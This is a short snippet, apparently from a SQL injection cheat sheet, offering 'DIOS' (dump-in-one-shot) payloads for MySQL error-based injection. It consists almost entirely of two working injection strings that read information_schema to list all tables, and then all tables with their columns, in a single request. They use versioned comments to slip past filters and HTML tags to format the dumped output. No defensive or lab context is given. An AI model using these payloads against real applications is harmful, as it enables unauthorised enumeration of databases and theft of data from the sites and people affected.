500 Internal Server Error DIOS

(SELECT (@a) FROM (SELECT(@a:=0x00),(SELECT (@a) FROM (information_schema.TABLES)WHERE (@a)IN (@a:=/*!50000concat*/(@a,TABLE_NAME,'<br>'))))a)


SHOW ALL DATABASE AND TABLES AND COLUMNS --->

(SELECT (@a) FROM (SELECT(@a:=0x00),(SELECT (@a) FROM (information_schema.COLUMNS)WHERE table_schema!='information_schema' AND(@a)IN (@a:=/*!50000concat*/(@a,'<font color=green>',TABLE_NAME,'</font>',' > ','<font color=red>',column_name,'</font>','<br>
'))))a)